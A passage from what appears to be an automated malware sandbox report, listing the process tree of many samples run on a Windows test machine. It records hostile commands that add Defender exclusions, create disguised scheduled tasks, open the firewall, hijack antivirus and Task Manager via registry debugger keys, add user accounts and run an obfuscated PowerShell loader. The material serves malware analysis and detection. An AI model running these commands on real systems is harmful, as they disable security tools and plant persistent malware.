      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Portable Devices\see7.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:1600
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Common Files\SearchApp.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4432
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\dotnet\dllhost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5848
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\ModemLogs\73c1c41b9e71c48e752a5cd19fe808b6.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6876
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\en-US\TextInputHost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5484
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5224
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\yLwymhbw4x.bat"
      4⤵
      PID:7032
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:7176
    - - C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        5⤵
        
        PID:7536
- - C:\Program Files (x86)\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe
    "C:\Program Files (x86)\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe"
    3⤵
    PID:1816
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
      "Powershell.exe" -windowstyle minimized "$Teratism249 = Get-Content 'C:\Users\Admin\AppData\Local\Temp\celleslim\farve\pitiableness\Guldtand.Spi168' ; $Neglefilen=$Teratism249.SubString(69482,3);.$Neglefilen($Teratism249) "
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:1976
- - C:\Program Files (x86)\73c1c41b9e71c48e752a5cd19fe808b6.exe
    "C:\Program Files (x86)\73c1c41b9e71c48e752a5cd19fe808b6.exe"
    3⤵
    PID:3484
  - - C:\Users\Admin\Saved Games\csrss.exe
      "C:\Users\Admin\Saved Games\csrss.exe"
      4⤵
      PID:6392
- - C:\Program Files (x86)\75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe
    "C:\Program Files (x86)\75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe"
    3⤵
    PID:4476
- - C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
    "C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe"
    3⤵
    PID:2728
  - - C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
      "C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe"
      4⤵
      PID:5416
- - C:\Program Files (x86)\938b92958ded4d50a357d22eddf141ad.exe
    "C:\Program Files (x86)\938b92958ded4d50a357d22eddf141ad.exe"
    3⤵
    PID:1340
  - - C:\Windows\winhlp32.exe
      winhlp32.exe -x
      4⤵
      PID:2020
  - - C:\Windows\winhlp32.exe
      winhlp32.exe -x
      4⤵
      PID:1316
- - C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
    "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe"
    3⤵
    PID:5064
- - C:\Program Files (x86)\a6a1abaf12a28ea8f6553356c3bdcf57.exe
    "C:\Program Files (x86)\a6a1abaf12a28ea8f6553356c3bdcf57.exe"
    3⤵
    PID:1188
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Internet Explorer\fr-FR\services.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:3180
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\L2Schemas\malecus.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:2044
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Crashpad\attachments\csrss.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6864
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\Saved Games\SearchApp.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6032
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\InputMethod\CHS\OfficeClickToRun.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4256
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\kAJv4cs87r.bat"
      4⤵
      PID:6580
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:8112
    - - C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        5⤵
        
        PID:4656
- - C:\Program Files (x86)\BTZ.exe
    "C:\Program Files (x86)\BTZ.exe"
    3⤵
    PID:1332
- - C:\Program Files (x86)\Cat.exe
    "C:\Program Files (x86)\Cat.exe"
    3⤵
    PID:1120
- - C:\Program Files (x86)\Client.exe
    "C:\Program Files (x86)\Client.exe"
    3⤵
    PID:2360
  - - C:\Windows\SYSTEM32\CMD.exe
      "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" & exit
      4⤵
      PID:5920
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe"
        5⤵
        
        PID:7112
  - - C:\Windows\SYSTEM32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST & exit
      4⤵
      PID:880
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5020
  - - C:\Windows\SYSTEM32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST & exit
      4⤵
      PID:4504
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST
        5⤵
        
        PID:7144
  - - C:\Windows\SYSTEM32\CMD.exe
      "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST & exit
      4⤵
      PID:6488
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6924
- - C:\Program Files (x86)\Darkest Dungeon setub.exe
    "C:\Program Files (x86)\Darkest Dungeon setub.exe"
    3⤵
    PID:760
  - - C:\Users\Admin\AppData\Roaming\svhost.exe
      "C:\Users\Admin\AppData\Roaming\svhost.exe"
      4⤵
      PID:5188
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\svhost.exe" "svhost.exe" ENABLE
        5⤵
        Modifies Windows Firewall
        
        PID:5748
- - C:\Program Files (x86)\evil.exe
    "C:\Program Files (x86)\evil.exe"
    3⤵
    PID:2960
  - - C:\Users\Admin\AppData\Local\Temp\evil.exe
      "C:\Users\Admin\AppData\Local\Temp\evil.exe"
      4⤵
      PID:5988
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\evil.exe" "evil.exe" ENABLE
        5⤵
        Modifies Windows Firewall
        
        PID:5712
- - C:\Program Files (x86)\fwclt.exe
    "C:\Program Files (x86)\fwclt.exe"
    3⤵
    PID:3552
- - C:\Program Files (x86)\Gandcrab5.0.3.exe
    "C:\Program Files (x86)\Gandcrab5.0.3.exe"
    3⤵
    PID:1564
  - - C:\Windows\SysWOW64\wermgr.exe
      "C:\Windows\System32\wermgr.exe"
      4⤵
      PID:3648
    - - C:\Program Files (x86)\virus.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.exe" C:\Windows\system32\wbem\wmic.exe
        5⤵
        
        PID:7128
      - C:\Program Files (x86)\virus.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.exe"
        6⤵
        
        PID:6192
        
        C:\NH-Helper.exe
        
        C:\NH-Helper.exe
        7⤵
        
        PID:3548
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\123.bat
        8⤵
        
        PID:6856
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
        9⤵
        
        PID:5500
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
        9⤵
        
        PID:5284
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe
        8⤵
        
        PID:5240
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C ftype exefile=C:\Program Files (x86)\virus.jk.jk.jk.exe %1
        7⤵
        
        PID:4860
        
        C:\J-V-C.EXE
        
        C:\J-V-C.EXE
        7⤵
        
        PID:5024
        
        C:\Program Files (x86)\virus.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.exe"
        8⤵
        
        PID:7520
- - C:\Program Files (x86)\Happy18.exe
    "C:\Program Files (x86)\Happy18.exe"
    3⤵
    PID:2164
- - C:\Program Files (x86)\kosomk.exe
    "C:\Program Files (x86)\kosomk.exe"
    3⤵
    PID:3768
  - - C:\Users\Admin\AppData\Roaming\dicsord.exe
      "C:\Users\Admin\AppData\Roaming\dicsord.exe"
      4⤵
      PID:244
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\dicsord.exe" "dicsord.exe" ENABLE
        5⤵
        Modifies Windows Firewall
        
        PID:2060
- - C:\Program Files (x86)\LightNeuronX0.exe
    "C:\Program Files (x86)\LightNeuronX0.exe"
    3⤵
    PID:1972
- - C:\Program Files (x86)\malecus.exe
    "C:\Program Files (x86)\malecus.exe"
    3⤵
    PID:2460
- - C:\Program Files (x86)\see7.exe
    "C:\Program Files (x86)\see7.exe"
    3⤵
    PID:1108
  - - C:\Program Files (x86)\see7.exe
      "C:\Program Files (x86)\see7.exe"
      4⤵
      PID:6748
  - - C:\Program Files (x86)\see7.exe
      "C:\Program Files (x86)\see7.exe"
      4⤵
      PID:6408
- - C:\Program Files (x86)\TEST.exe
    "C:\Program Files (x86)\TEST.exe"
    3⤵
    PID:1964
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpFA1A.tmp.bat""
      4⤵
      PID:5636
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\touhou virus.bat" "
    3⤵
    PID:3212
  - - C:\Windows\SysWOW64\net.exe
      net user Shanghai /add
      4⤵
      PID:4984
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user Shanghai /add
        5⤵
        
        PID:6304
  - - C:\Windows\SysWOW64\net.exe
      net user Bad Apple /add
      4⤵
      PID:3876
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user Bad Apple /add
        5⤵
        
        PID:7120
  - - C:\Windows\SysWOW64\net.exe
      net user Marisa
      4⤵
      PID:6692
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user Marisa
        5⤵
        
        PID:4984
  - - C:\Windows\SysWOW64\net.exe
      net user Reimu /add
      4⤵
      PID:6796
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user Reimu /add
        5⤵
        
        PID:7084
  - - C:\Windows\SysWOW64\mountvol.exe
      mountvol X:\ /d
      4⤵
      PID:8124
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/watch?v=PTt19B5_V3I
      4⤵
      PID:7364
- - C:\Program Files (x86)\vbc.exe
    "C:\Program Files (x86)\vbc.exe"
    3⤵
    PID:980
  - - C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe
      C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe C:\Users\Admin\AppData\Local\Temp\jplmbcuny
      4⤵
      PID:596
    - - C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe
        
        C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe C:\Users\Admin\AppData\Local\Temp\jplmbcuny
        5⤵
        
        PID:2724
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 596 -s 596
        5⤵
        Program crash
        
        PID:5552
- - C:\Program Files (x86)\virus.jk.exe
    "C:\Program Files (x86)\virus.jk.exe"
    3⤵
    PID:2456
  - - C:\Program Files (x86)\virus.jk.jk.exe
      "C:\Program Files (x86)\virus.jk.jk.exe"
      4⤵
      PID:5512
    - - C:\NH-Helper.exe
        
        C:\NH-Helper.exe
        5⤵
        
        PID:6024
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\123.bat
        6⤵
        
        PID:2604
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
        7⤵
        
        PID:5556
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
        7⤵
        
        PID:1232
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
        7⤵
        
        PID:6584
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe
        6⤵
        
        PID:3816
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C ftype exefile=C:\Program Files (x86)\virus.jk.jk.exe %1
        5⤵
        
        PID:2144
    - - C:\J-V-C.EXE
        
        C:\J-V-C.EXE
        5⤵
        
        PID:5428
      - C:\Program Files (x86)\virus.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.exe"
        6⤵
        
        PID:8124

C:\Windows\helppane.exe
C:\Windows\helppane.exe -Embedding
1⤵
PID:4332
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument microsoft-edge:https://go.microsoft.com/fwlink/?LinkId=528881
  2⤵
  PID:4912
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff8155f46f8,0x7ff8155f4708,0x7ff8155f4718
    3⤵
    PID:4532
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument microsoft-edge:https://go.microsoft.com/fwlink/?LinkId=528881
  2⤵
  PID:5476
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff8155f46f8,0x7ff8155f4708,0x7ff8155f4718
    3⤵
    PID:5540
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2148,5455811671745520965,12114697205151620712,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2168 /prefetch:2
    3⤵
    PID:6084
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2148,5455811671745520965,12114697205151620712,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2220 /prefetch:3
    3⤵
    PID:5568
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2148,5455811671745520965,12114697205151620712,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2740 /prefetch:8
    3⤵
    PID:5912
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,5455811671745520965,12114697205151620712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3288 /prefetch:1
    3⤵
    PID:6072
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,5455811671745520965,12114697205151620712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3300 /prefetch:1
    3⤵
    PID:1704
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,5455811671745520965,12114697205151620712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5080 /prefetch:1
    3⤵
    PID:5156
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,5455811671745520965,12114697205151620712,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5204 /prefetch:1
    3⤵
    PID:3796
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,5455811671745520965,12114697205151620712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5540 /prefetch:1
    3⤵
    PID:6416
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,5455811671745520965,12114697205151620712,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5400 /prefetch:1
    3⤵
    PID:6012
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2148,5455811671745520965,12114697205151620712,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5072 /prefetch:8
    3⤵
    PID:5740
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2148,5455811671745520965,12114697205151620712,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5072 /prefetch:8
    3⤵
    PID:2140
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,5455811671745520965,12114697205151620712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5244 /prefetch:1
    3⤵
    PID:6504
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,5455811671745520965,12114697205151620712,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5132 /prefetch:1
    3⤵
    PID:5292

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 7 /tr "'C:\Windows\SystemApps\Microsoft.Windows.CapturePicker_cw5n1h2txyewy\microsoft.system.package.metadata\Autogen\sysmon.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:4860

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmon" /sc ONLOGON /tr "'C:\Windows\SystemApps\Microsoft.Windows.CapturePicker_cw5n1h2txyewy\microsoft.system.package.metadata\Autogen\sysmon.exe'" /rl HIGHEST /f
1⤵
PID:2272

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 12 /tr "'C:\Users\Admin\RuntimeBroker.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:3272

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 13 /tr "'C:\Windows\SystemApps\Microsoft.Windows.CapturePicker_cw5n1h2txyewy\microsoft.system.package.metadata\Autogen\sysmon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:4576

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Users\Admin\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:3940

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 10 /tr "'C:\Program Files\7-Zip\dwm.exe'" /f
1⤵
- Process spawned unexpected child process
PID:2580

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 6 /tr "'C:\Users\Admin\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4932

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\Program Files\7-Zip\dwm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:3556

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 7 /tr "'C:\Program Files\7-Zip\dwm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:3176

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "VirusShare_0bd61f046f4d99491fa3588dba294e04V" /sc MINUTE /mo 12 /tr "'C:\Windows\PolicyDefinitions\es-ES\VirusShare_0bd61f046f4d99491fa3588dba294e04.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5020

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Adobe\Acrobat Reader DC\Setup Files\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\taskhostw.exe'" /f
1⤵
- Process spawned unexpected child process
PID:2296

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "VirusShare_0bd61f046f4d99491fa3588dba294e04" /sc ONLOGON /tr "'C:\Windows\PolicyDefinitions\es-ES\VirusShare_0bd61f046f4d99491fa3588dba294e04.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4368

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostw" /sc ONLOGON /tr "'C:\Program Files (x86)\Adobe\Acrobat Reader DC\Setup Files\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\taskhostw.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:3144

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Adobe\Acrobat Reader DC\Setup Files\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\taskhostw.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2444

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "VirusShare_0bd61f046f4d99491fa3588dba294e04V" /sc MINUTE /mo 10 /tr "'C:\Windows\PolicyDefinitions\es-ES\VirusShare_0bd61f046f4d99491fa3588dba294e04.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:1220

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Windows Defender\spoolsv.exe'" /f
1⤵
- Process spawned unexpected child process
PID:4516

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "5e710462c65fe899466e4fb7c1e33c9a5" /sc MINUTE /mo 6 /tr "'C:\Recovery\WindowsRE\5e710462c65fe899466e4fb7c1e33c9a.exe'" /f
1⤵
- Process spawned unexpected child process
PID:244

C:\Windows\system32\schtasks.exe
